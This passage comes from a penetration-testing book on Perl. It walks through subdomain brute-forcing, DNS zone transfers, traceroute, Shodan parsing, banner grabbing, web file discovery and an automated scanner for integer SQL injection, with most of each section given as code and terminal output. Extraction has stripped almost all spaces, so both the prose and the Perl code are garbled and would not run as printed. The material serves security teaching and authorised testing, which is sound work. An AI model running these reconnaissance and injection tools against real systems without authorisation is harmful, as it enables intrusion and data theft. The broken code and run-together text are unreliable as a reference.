my$dns=Net::DNS::Resolver->new;
my@subDomains=
(“admin”,“admindoesntexist”,“www”,“mail”,“download”,“gateway”);
my$usage=“perldomainbf.pl<domainname>”;
my$domain=shiftordie$usage;
my$total=0;
dns($_)foreach(@subDomains);
print$total,”recordstested\n”;
![Page 167: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/167.jpg)
subdns{#searchsubdomains:
$total++;#recordcount
my$hn=shift.”.”.$domain;#constructhostname
my$dnsLookup=$dns->search($hn);
if($dnsLookup){#successfullookup
my$t=0;
foreachmy$ip($dnsLookup->answer){
returnunless$ip->typeeq“A”and$t<1;#\Arecords
print$hn,”:“,$ip->address,”\n”;#justtheIP
$t++;
}
}
return;
}
TheprecedingPerlprogramloopsthroughthe@domainsarrayandcallsthedns()subroutineoneach,whichreturnsorprintsasuccessfulquery.The$tintegertokenisusedforsubdomains,whichhasseveralidenticalrecordstoavoidrepetitionintheprogram’soutput.Afterthis,wesimplyprintthetotaloftherecordstested.Thisprogramcanbeeasilymodifiedtoopenawordlistfile,andwecanloopthrougheachbypassingthemtothedns()subroutine,withsomethingsimilartothefollowing:open(FLE,“file.txt”);
while(<FLE>){
dns($_);
}
![Page 168: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/168.jpg)
ZonetransfersAswehaveseenwithanArecord,theadmin.warcarrier.orgentryprovideduswithsomeinsightastotheIPrangeoftheinternalnetwork,ortheclassAaddress10.0.0.1.Sometimes,whenaclienttargetiscontrollingandhostingtheirownnameservers,theyaccidentallyallowDNSzonetransfersfromtheirnameserversintopublicnameservers,providingtheattackerwithinformationwherethetarget’sresourcesare.Let’susetheLinuxhostutilitytocheckforaDNSzonetransfer:
[trevelyn@shell~]$host-lawarcarrier.orgbeth.ns.cloudflare.com
Trying“warcarrier.org”
Usingdomainserver:
Name:beth.ns.cloudflare.com
Address:2400:cb00:2049:1::adf5:3a67#53
Aliases:
;;->>HEADER<<-opcode:QUERY,status:NOERROR,id:20461
;;flags:qraa;QUERY:1,ANSWER:13,AUTHORITY:0,ADDITIONAL:0
;;QUESTIONSECTION:
;warcarrier.org.INAXFR
;;ANSWERSECTION:
warcarrier.org.300INSOA
beth.ns.cloudflare.com.warcarrier.org.beth.ns.cloudflare.com.2014011513
180003600864001800
warcarrier.org.300INNSbeth.ns.cloudflare.com.
warcarrier.org.300INNShank.ns.cloudflare.com.
warcarrier.org.300INA50.97.177.66
admin.warcarrier.org.300INA10.0.0.1
gateway.warcarrier.org.300INA10.0.0.124
remote.warcarrier.org.300INA10.0.0.15
partner.warcarrier.org.300INCNAMEwarcarrier.weaknetlabs.com.
calendar.warcarrier.org.300INCNAMElogin.secureserver.net.
direct.warcarrier.org.300INCNAMEwarcarrier.org.
warcarrier.org.300INSOA
beth.ns.cloudflare.com.warcarrier.org.beth.ns.cloudflare.com.2014011513
180003600864001800
Received401bytesfrom2400:cb00:2049:1::adf5:3a67#53in56ms
[trevelyn@shell~]$
Asweseefromtheoutputofthehostcommand,wehavefoundasuccessfulDNSzonetransfer,whichprovideduswithevenmorehostnamesusedbyourclienttarget.ThisattackhasprovideduswithafewCNAMErecords,whichareusedasaliasestootherserversownedorusedbyourtarget,thesubnet(classA)IPaddressesusedbythetarget,andeventhenameserversused.Wecanalsoseethatthedefaultname,direct,usedbyCloudFlare.comisstillsetforthecloudservicetoallowconnectionsdirectlytotheIPofwarcarrier.org,whichwecanusetobypassthecloudservice.
Thehostcommandrequiresthenameserver,inourcasebeth.ns.cloudflare.com,beforeperformingthetransfer.Whatthismeansforusisthatwewillneedthenameserver
![Page 169: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/169.jpg)
informationbeforequeryingforapotentialDNSzonetransferinourPerlprograms.Let’sseehowwecanuseNet::DNSfortheentireprocess:#!/usr/bin/perl-w
usestrict;
useNet::DNS;
my$usage=“perldnsZt.pl<domainname>”;
die$usageunlessmy$dom=shift;
my$res=Net::DNS::Resolver->new;#dnsobject
my$query=$res->query($dom,“NS”);#querymethodcallfornameservers
if($query){#queryofNSwassuccessful
foreachmy$rr(grep{$_->typeeq‘NS’}$query->answer){
$res->nameservers($rr->nsdname);#setthenameserver
print“[>]TestingNSServer:“.$rr->nsdname.”\n”;
my@subdomains=$res->axfr($dom);
if($#subdomains>0){
print“[!]Successfulzonetransfer:\n”;
foreach(@subdomains){
print$_->name.”\n”;#returnsaNet::DNS::RRobject
}
}else{#0returneddomains
print“[>]Transferfailedon”.$rr->nsdname.“\n”;
}
}
}else{#Somethingwentwrong:
warn“queryfailed:“,$res->errorstring,”\n”;
}
TheprecedingprogramthatusestheNet::DNSPerlmodulewillfirstqueryforthenameserversusedbyourtargetandthentesttheDNSzonetransferforeachtarget.Thegrep()functionreturnsalisttotheforeach()loopofallnameservers(NS)found.Theforeach()loopthensimplyattemptstheDNSzonetransfer(AXFR)andreturnstheresultsifthearrayislargerthanzeroelements.Let’stesttheoutputonourclienttarget:
[trevelyn@shell~]$perldnsZt.plwarcarrier.org
[>]TestingNSServer:hank.ns.cloudflare.com
[!]Successfulzonetransfer:
warcarrier.org
warcarrier.org
admin.warcarrier.org
gateway.warcarrier.org
remote.warcarrier.org
partner.warcarrier.org
calendar.warcarrier.org
direct.warcarrier.org
[>]TestingNSServer:beth.ns.cloudflare.com
[>]Transferfailedonbeth.ns.cloudflare.com
[trevelyn@shell~]$
Thepreceding(trimmed)outputisasuccessfulDNSzonetransferononeofthenameserversusedbyourclienttarget.
![Page 170: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/170.jpg)
TracerouteWithknowledgeofhowtogleanhostnamesandIPaddressesfromsimplequeriesusingPerl,wecantaketheOSINTastepfurtherandtraceourroutetothehoststoseewhatpotentialtarget-ownedhardwarecaninterceptorrelaytraffic.Forthistask,wewillusetheNet::TraceroutePerlmodule.Let’stakealookathowwecangettheIPhostinformationfromrelayinghostsbetweenusandourtarget,usingthisPerlmoduleandthefollowingcode:#!/usr/bin/perl-w
usestrict;
useNet::Traceroute;
my$dom=shiftordie“Usage:perltracert.pl<domain>”;
print“Tracingrouteto“,$dom,”\n”;
my$tr=Net::Traceroute->new(host=>$dom,use_tcp=>1);
for(my$i=1;$i<=$tr->hops;$i++){
my$hop=$tr->hop_query_host($i,0);
print“IP:“,$hop,”hoptime:“,$tr->hop_query_time($i,0),
“mshopstatus:“,$tr->hop_query_stat($i,0),
”querycount:“,$tr->hop_queries($i),”\n”if($hop);
}
IntheprecedingPerlprogram,weusedtheNet::TraceroutePerlmoduletoperformatraceroutetothedomaingivenbyacommand-lineargument.Themodulemustbeusedbyfirstcallingthenew()method,whichwedowhendefining$trasaqueryobject.Wetellthetracerouteobject$trthatwewanttouseTCPandalsopassthehost,whichweshiftfromthecommand-linearguments.Wecanpassalotmoreparameterstothenew()method,oneofwhichisdebug=>9todebugourtraceroute.AfulllistcanbeobtainedfromtheCPANSearchpageofthePerlmodulethatcanbeaccessedathttp://search.cpan.org/~hag/Net-Traceroute/Traceroute.pm.Thehopsmethodisusedwhenconstructingthefor()loop,whichreturnsanintegervalueofthehopcount.Wethenassignthisto$iandloopthroughallhopandprintstatistics,usingthemethodshop_query_hostfortheIPaddressofthehost,hop_query_timeforthetimetakentoreachthehost,andhop_query_statthatreturnsthestatusofthequeryasanintegervalue(onourlabmachines,itisreturnedinmilliseconds),whichcanbemappedtotheexportlistofNet::Tracerouteaccordingtothemodule’sdocumentation.Now,let’stestthistracerouteprogramwithadomainandchecktheoutput:
root@wnld960:~#sudoperltracert.plweaknetlabs.com
Tracingroutetoweaknetlabs.com
IP:10.0.0.1hoptime:0.724mshopstatus:0querycount:3
IP:68.85.73.29hoptime:14.096mshopstatus:0querycount:3
IP:69.139.195.37hoptime:19.173mshopstatus:0querycount:3
IP:68.86.94.189hoptime:31.102mshopstatus:0querycount:3
IP:68.86.87.170hoptime:27.42mshopstatus:0querycount:3
IP:50.242.150.186hoptime:27.808mshopstatus:0querycount:3
IP:144.232.20.144hoptime:33.688mshopstatus:0querycount:3
IP:144.232.25.30hoptime:38.718mshopstatus:0querycount:3
IP:144.232.229.46hoptime:31.242mshopstatus:0querycount:3
IP:144.232.9.82hoptime:99.124mshopstatus:0querycount:3
IP:198.144.36.192hoptime:30.964mshopstatus:0querycount:3
![Page 171: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/171.jpg)
root@wnld960:~#
Theoutputfromtracert.plisjustasweexpectedusingthetracerouteprogramoftheLinuxshell.Thisfunctionalitycanbeeasilybuiltrightintoourportscannerapplication,aswesawinChapter3,IEEE802.3WiredNetworkMappingwithPerl.
![Page 172: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/172.jpg)
ShodanShodanisanonlineresourcethatcanbeusedforhardwaresearchingwithinaspecificdomain.Forinstance,asearchforhostname:<domain>willprovideallthehardwareentitiesfoundwithinthisspecificdomain.Shodanisbothapublicandopensourceresourceforintelligence.HarnessingthefullpowerofShodanandreturningamultipagequeryisnotfree.Fortheexamplesinthischapter,thefirstpageofthequeryresults,whicharefree,weresufficienttoprovideasuitableamountofinformation.ThereturnedoutputisXML,andPerlhassomegreatutilitiestoparseXML.Luckily,forthepurposeofourexample,Shodanoffersanexamplequeryforustouseasexport_sample.xml.ThisXMLfilecontainsonlyonenodeperhost,labeledhost.ThisnodecontainsattributesforthecorrespondinghostandwewillusetheXML::LibXML::NodeclassfromtheXML::LibXML::NodePerlmodule.First,wewilldownloadtheXMLfileanduseXML::LibXMLtoopenthelocalfilewiththeparse_file()method,asshowninthefollowingcode:#!/usr/bin/perl-w
usestrict;
useXML::LibXML;
my$parser=XML::LibXML->new();
my$doc=$parser->parse_file(“export_sample.xml”);
foreachmy$host($doc->findnodes(‘/shodan/host’)){
print“HostFound:\n”;
my@attribs=$host->attributes(‘/shodan/host’);
foreachmy$host(@attribs){#gethostattributes
print$host=~m/([^=]+)=.*/,”=>“;
print$host=~m/.*”([^”]+)”/,”\n”;
}#next
print“\n\n”;
}
TheprecedingPerlprogramwillopentheexport_sample.xmlfileandnavigatethroughthehostnodesusingthesimplexpathof/shodan/host.Foreach<host>node,wecalltheattribute’smethodfromtheXML::LibXML::Nodeclass,whichreturnsanarrayofallattributeswithinformationsuchastheIPaddress,hostname,andmore.Wethenrunaregularexpressionpatternonthe$hoststringtoparseoutthekey,andagainwithanotherregexptogetthevalue.Let’sseehowthisreturnsdatafromoursampleXMLfilefromShodanHQ.com:
root@wnld960:~#perlshodan.pl
HostFound:
hostnames=>internetdevelopment.ro
ip=>109.206.71.21
os=>Linuxrecent2.4
port=>80
updated=>16.03.2010
HostFound:
ip=>113.203.71.21
![Page 173: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/173.jpg)
os=>Linuxrecent2.4
port=>80
updated=>16.03.2010
HostFound:
hostnames=>ip-173-201-71-21.ip.secureserver.net
ip=>173.201.71.21
os=>Linuxrecent2.4
port=>80
updated=>16.03.2010
Theprecedingoutputisfromourshodan.plPerlprogram.Itloopsthroughallhostnodesandprintstheattributes.
Aswecansee,Shodancanprovideuswithsomeveryusefulinformationthatwecanpossiblyusetoexploitlaterinourpenetrationtesting.It’salsoeasytosee,withoutgoingintoelementaryPerlcodingexamples,thatwecanfindexactlywhatwearelookingforfromanXMLobject’sattributesusingthissimplemethod.Wecanusethiscodeforotherresourcesaswell.
![Page 174: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/174.jpg)
MoreintelligenceGaininginformationabouttheactualphysicaladdressisalsoimportantduringapenetrationtest.Sure,thisispublicinformation,butwheredowefindit?Well,thePTESdescribeshowmoststatesrequirealegalentityofacompanytoregisterwiththeStateDivision,whichcanprovideuswithaone-stopgo-toplaceforthephysicaladdressinformation,entityID,serviceofprocessagentinformation,andmore.Thiscanbeveryusefulinformationonourclienttarget.Ifobtained,wecanextendthisintelligencebyfindingoutmoreaboutthepropertyownersforphysicalpenetrationtestingandsocialengineeringbycheckingthecity/county’sdepartmentoflandrecords,realestate,deeds,orevenmortgages.Allofthisdata,ifhostedontheWeb,canbegatheredbyautomatedPerlprograms,aswedidintheexamplesectionsofthischapterusingLWP::UserAgent
![Page 175: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/175.jpg)
SummaryAswehaveseen,beingcreativewithourinformation-gatheringtechniquescanreallyshinewiththepowerofregularexpressionsandtheabilitytospiderlinks.Aswelearnedintheintroduction,it’sbesttodoanautomatedOSINTgatheringprocessalongwithamanualprocessbecausebothprocessescanrevealinformationthatonemighthavemissed.
Inthenextchapter,wewilllearnhowwecantakethehostinformationwereceivedfromtheexamplesinthischapterandtestwebapplicationsandsitesforpossiblevulnerabilitiesusingSQLi,XSS,andfileinclusionattacks.
![Page 176: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/176.jpg)
Chapter7.SQLInjectionwithPerlSQLinjectionisawell-knownwebvulnerabilitythathasbeentherootcauseofdisastrousdatabreachesandleakssincearound1998.Thedatabasesofmanygovernments,largecorporations,andeveninformationsecuritycompanieshavebeenbreachedusingthissimplevulnerability.Inthischapter,wewilllearnhowtodiscoverandexploitSQLinjection(SQLi)vulnerabilitiesusingPerl.Thesubjectsthatwewillcoverareasfollows:
WebserviceandfilediscoveryIntroductiontoSQLinjectionSQLinjectionwithGETHTTPrequestsusingintegersandstringsColumncountingusingSQLinjectionPost-exploitationprocessesforgatheringserverinformationtableresultsetsandrecordsBlindSQLinjectionusingdata-andtime-drivenadvancedmodels
Forallexamplesthroughoutthischapter,wewillbeusingaMySQLdatabase,whichcanbefreelydownloadedfromtheOraclewebsiteorviaaLinuxdistribution’spackagemanager.Ifyouarecodingtheseexamplesforusewithanotherdatabasemanagementsystem(DBMS),it’sbesttocheckthedocumentationandtestthoroughlybeforerunningthecodeinthewild.SomeofthespecialvariablesandsyntaxmightdifferslightlyasperdifferentDBMSes.
![Page 177: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/177.jpg)
WebservicediscoveryInthissection,wewillbelearninghowtoexpandourhostdiscoveryskill,whichwelearnedinChapter3,IEEE802.3WiredNetworkMappingwithPerl,inordertofindwebservicesandwebapplications.
![Page 178: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/178.jpg)
ServicediscoveryWebeginwithsimpleservicediscovery.Inpreviouschapters,wehavelearnedhowtousePerlforportscanningandbannergrabbing.Awebservercanobviouslybestartedonacustomspecifiedport,sobannergrabbingisveryimportanthere.Ifweseeanythingwithawebserversoftwaretitleinit,forexample,Nginx,lighttpd,orApache,wecansendPerltoscrapeforpagesanddirectories.IfthepagescontainlinksthatrequirePOSTorGETdata,wecanthentestforpropervalidationofthisdata.Let’stakeaquicklookatthesampleoutputfrombannergrabbingonportswithwebserversofthelighttpdsoftware.
[trevelyn@shell~]$perltest.pllab.weaknetlabs.com180
HTTP/1.1400BadRequest
Content-Type:text/html
Content-Length:349
Connection:close
Date:Tue,24Jun201420:29:20GMT
Server:lighttpd/1.4.28
[trevelyn@shell~]$
Asyoucansee,thelinewiththestringServeriswhatwewilltargetourregularexpressiontomatchwith.ThisreturnedoutputoffersusasegueforourPerlscriptstocontinuesearchingforvulnerabilities.Let’seditoutthebanner-grabbingcodefromChapter3,IEEE802.3WiredNetworkMappingwithPerl,totargetonlywebservices.#!/usr/bin/perl
usestrict;
useIO::Socket;
my$usage=“./bg<host><port>\n”;
my$host=shiftordie$usage;
my$port=shiftordie$usage;
my$buf;#bufferforreturnedresult
my$sock=IO::Socket::INET->new(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>“tcp”)||die“Cannotconnectto“.$host;
$sock->send(“HEAD/HTTP/1.1\r\n”);
$sock->send(“\r\n”);
$sock->send(“\r\n”);
$sock->recv($buf,2048);
my@buf=split(“\n”,$buf);
foreach(@buf){
if(m/^Server:(.*)/){
print“WebServerFound:“,$1,”\n”;
}
}
END{
$sock->close();
}
Thisisourmodifiedbanner-grabbingcode.Itssimplepurposeasofnowistochecktheportparameterforawebserver.Next,wewillmodifyittocheckforfilesonthewebserverthatcouldpotentiallyrevealvulnerablelinksorotherfiles.
![Page 179: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/179.jpg)
FilediscoveryNowthatwehaveconfirmedourwebserver,let’strytosimplybrowsetotheindexpage(ifoneexists)andsearchforlinkstopotentiallyvulnerablewebpageswithinthatindexpage.Thecodewillbesplitupintotwosections:#!/usr/bin/perl-w
usestrict;
useIO::Socket;
useLWP::UserAgent;
useLWP::Protocol::https;#incaseofHTTPS
useList::Compare;#comparewebpages
my$ua=LWP::UserAgent->new;#nowspoofaUA:
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$usage=“./bg<host><port>\n”;
my$web=0;#tokenforweb
my$host=shiftordie$usage;
my$port=shiftordie$usage;
my$buf;#bufferforreturnedresult
my@content;#split()contentreturnedfromquery
my@gets;#GETparameterspresent
my@tables;#alltablesfromindividualloop
my$reqCount=0;#keeptrackofrequests
my$injType=“int”;#injectiontype(startwithinteger)
my$colCount=0;#columncount
my$injectString;#injectablefieldquerywith-VAR-variable
my$sock=IO::Socket::INET->new(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>“tcp”)||die“Cannotconnectto“.$host;
$sock->send(“HEAD/HTTP/1.1\r\n”);
$sock->send(“\r\n”);
$sock->send(“\r\n”);
$sock->recv($buf,2048);
my@buf=split(“\n”,$buf);
Eachsectionhasbeenexplainedinthefollowingsteps:
1. Intheprecedingcode,wesimplyaddsupportforLWP::UserAgentand
LWP::Protocol::https.2. Then,wedeclareourvariablestogettheprogramreadyforfunctions.3. Afterthis,wemakeourcalltotheserverwiththe$sockobject,placingtheoutput
fromtheserverintothe$bufvariable.
Allthisisverysimple,andwehavecoveredmostofthisinthepreviouschapters.Let’scontinuefollowingthroughourcode:foreach(@buf){
if(m/^Server:(.*)/i){
print“\aWebServerFound:“,$1,”\n”;
$web++;
![Page 180: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/180.jpg)
}
}
if($web){#thisisaconfirmedwebserver
foreach(“html”,“htm”,“php”,“asp”,“aspx”,“cfm”,“txt”,“html.backup”){
if(page(“index.”.$_)){
print“Page:“,“index.”.$_.”\n”;
foreach(@content){
print“File:“,$2,”\n”if(m/<a.*href=(“|’)([^”’]+)(“|’)/);
}
last;#wefoundthepage
}
}
}
subpage{#checkforpages
my$res=$ua->get(“http://”.$host.”:”.$port.”/”.$_[0]);
if($res->is_success){
@content=split(/\015?\012/,$res->content);
return$_[0];
}
return0;
}
END{
$sock->close()if$sock;
}
4. Thesectionportionoftheprecedingcodeloopsthroughthereturnedresultin$bufandchecksforawebserver.Iffound,$webbecomestrue.Ifit’strue,weloopthroughafewfileextensionsandtesttheserverforanindexpageofeachextension.
5. Finally,ifapageisfound,weloopthroughitsreturnedcontentin@contentfromthecontent()methodofthe$resobject,andprintanylinksfound.Theselinksarefoundusingtheregularexpression<a.*href=(“|’)([^”’]+)(“|’).Thecaratinthesquarebracketsnegatesbothquotationmarks,whichmeans“matchanythingexceptforasinglequoteandadoublequotecharacter”.
6. Now,wecanbrowsethesepagesandlookforformsorothermeansfordatainputtopossiblyexploit.Ifwegetaproperreturnvaluefrompage(),thenwecalllast()tobreakfromtheforeach()loop.TheEND{}blockcontainsonesimplelinetocloseoursocketwhentheprogramexits.
7. Wecanalsoeasilyaddanewglobalvariabletotheapplication,andincrementitfrompage()inordertokeeptrackofourHTTPrequestsandhavethatprintedfromtheEND{}blockaswell.
8. Let’srunthisapplicationinthehopeoffindingmorecluestothepotentialvulnerabilitiesofourtarget,andanalyzetheoutput:[trevelyn@shell~]$perltest.pllab.weaknetlabs.com180
WebServerFound:lighttpd/1.4.28
Page:index.html
File:comments.php
File:http://lab.weaknetlabs.com/vuln/index.php
File:../../var/www/index.html
File:/vuln/showget.php?id=3
[trevelyn@shell~]$
![Page 181: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/181.jpg)
Intheprecedingoutput,weseeafewfilesthatwecanbrowse,oneofwhichcontainstheGETparameterid.Let’suseafewsimpleLWP::UserAgentsubroutinestocheckforpossiblevulnerabilitiesonthisGETparameter.Wecanveryeasilyaddanextrafunctionalitytosearch@contentforformsandPOSTparametersaswell,butforbrevity’ssakewewillsticktoGETinourexamples.
TipProperOSINT(asdescribedinthePTES)helpsustoreducecommonfactors,suchaswhichtechnologiesareusedbyourclienttarget,duringabruteforceattack,nomatterhowsmall.Aswesawintheprecedingcode,webruteforcedtheindexpagebytestingmanyextensions.Ifthisisapublic-facingpageordomain,wecansimplyusetheGooglesearchenginetosearchforfiletypesinanattempttoenumeratewhatkindofbackendfileprocessorsareavailabletothewebserver.ThisisjustoneexampleofhowOSINTcanreducetheamountofnoisewecreateduringapenetrationtest.
![Page 182: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/182.jpg)
SQLinjectionSQLinjectionisoneofthelongest-runningvulnerabilitiesinIT.Itsveryexistenceisproofthatsomewebtechnologies,includinglanguages,makeitveryeasyforasimplesemanticerrortoleadtoadangerousdatabreach.Whendecidingtousewebapplications,wemusthardenallthesystemsthatareinvolvedandnotcutcornerswhenitcomestosecurity.SomeofthebiggestdatabreachesinIThistoryhavehappenedinrecentyearsthroughthistypeofexploit.
![Page 183: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/183.jpg)
GETrequestsInthefollowingsubsections,wewilllearnhowtomanipulateHTTPGETrequeststringstofindpotentialSQLinjectionvulnerabilities.Thetwobasictypesthatwecoverwillbeintegerandstring.ThedifferencebetweenthetwosolelyrelatestothetypeofdatathatisstoredinthedatabaserecordthattheSQLqueryistryingtoaccess.
IntegerSQLinjectionAsanexampleofSQLinjection,let’susetheGETparameterintheshowget.phpfilethatwefoundasalinkintheindex.htmlfilefromthescanintheprevioussubsection.First,let’stakealookatacommonMySQLerror.TheoriginalURLthatweusedintheFilediscoverysubsectionwashttp://lab.weaknetlabs.com:180/vuln/showget.php?id=3.
Let’sremovetheintegervaluefortheGETparameter,id,andtestforintegerSQLinjectionbysimplyruiningtheSQLquerysyntaxwithasinglequote,asfollows:http://lab.weaknetlabs.com:180/vuln/showget.php?id=‘1
ThisvulnerabilitytestworkswhentheSQLtableiscreatedtoholdsimpleintegervaluesforoneormoreofitsfields.IfaserverdisplaysMySQLerrorsonthewebpage,thenwehavestruckgoldandcanusethisfunctionalitytoeasilyexploitthewebapplication.Anexampleoutputwillbesomethinglikethis:YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondsto
yourMySQLserverversionfortherightsyntaxtousenear”1’atline1
QUERY:SELECT*FROMwebdatawhereid=‘1
ThisisoneofthesimplesttestsforSQLinjection,andwearenowgoingtoaddthisintoourapplicationfromtheprevioussection.
1. First,weaddanewarraytoholdallfilesthathavetheGETparameter,@gets.Inour
case,wehadonlyone.my@gets;#GETparameterspresent
2. Next,weneedtoaddanewcompoundstatementintotheblockofcodethatstartswiththefollowinglineofcode:if($web){#thisisaconfirmedwebserver
3. Here,wecheckedforURLsineachlineofcodereturnedfromtheindexpage(inourexample,itwasjustindex.html).Weassign$2toanewlocalvariable,$file,andthencheckforaGETparameterwiththesimpleregularexpression,\?[^=]+=[^=]+.Iftrue,wepushtheURLintothe@getsarraywiththefollowinglineofcode:push(@gets,$file);#keepit
4. Finally,weaddanotherblockofcodeundertheonewejustedited,whichchecksifthearraysizeisofatleastoneelement,andifso,wemangletheURLaswedidintheprecedingexamplewiththefollowingcompoundstatement:if(scalar@gets>0){#wehavesomeURLswithGET
foreach(@gets){
my$url=$_;
![Page 184: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/184.jpg)
$url=~s/(\?[^=]+=)[0-9a-z_]/$1’/;
page($url);#getthemangledURL
foreach(@content){#lookforerror
print“PositiveMySQLinjection:“,$url,”\n”
if(m/error.*syntax.*sql/i);
}
}
}
ThiswillprinttheURLifacommonMySQLerrorisuncoveredfromthereturnedwebpage.Ourcompletecodeblockshouldnowlookasfollows:if($web){#thisisaconfirmedwebserver
foreach(“html”,“htm”,“php”,“asp”,“aspx”,“cfm”,“txt”,“html.backup”){
if(page(“index.”.$_)){
print“Page:“,“index.”.$_.”\n”;
foreach(@content){
if(m/<a.*href=(“|’)([^”’]+)(“|’)/){
print“File:“,$2,”\n”;
my$file=$2;
if($file=~m/\?[^=]+=[^=]+/i){
push(@gets,$file);#keepit
}
}
}
last;#wefoundapage
}
}
}
if(scalar@gets>0){#wehavesomeURLswithGET
foreachmy$getUrl(@gets){
my$url=$getUrl;
$url=~s/(\?[^=]+=)[0-9a-z_]/$1%27/;#%27isanencodedsingle
quote
print“TryingmangledGET:“,$url,”\n”;
page($url);#getthemangledURL
foreachmy$domLine(@content){#lookforerror
print“PositiveMySQLinjection:“,$url,”\n”if($domLine=~
m/error.*syntax.*sql/i);
}
}
}
5. Foreachlineinthereturnedwebpage,as$domLine,wecheckforaMySQLerrorjustlikeinthepreviousexampleerror.Let’sgoaheadandrunthismodifiedapplicationagain,whichisaimedatourdiscoveredwebserver:[trevelyn@shell~]$perltest.pllab.weaknetlabs.com180
WebServerFound:lighttpd/1.4.28
Page:index.html
File:comments.php
File:http://lab.weaknetlabs.com/vuln/index.php
File:../../var/www/index.html
File:vuln/showget.php?id=3
PositiveMySQLinjection:vuln/showget.php?id=’
[trevelyn@shell~]$
![Page 185: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/185.jpg)
Thisapplicationhasreturnedasuccess.WehavefoundourfirstsimpleintegerSQLinjectionvulnerabilityusingPerlprogramming.Let’smodifythissimpleapplicationtotestforstringinjectionaswell.
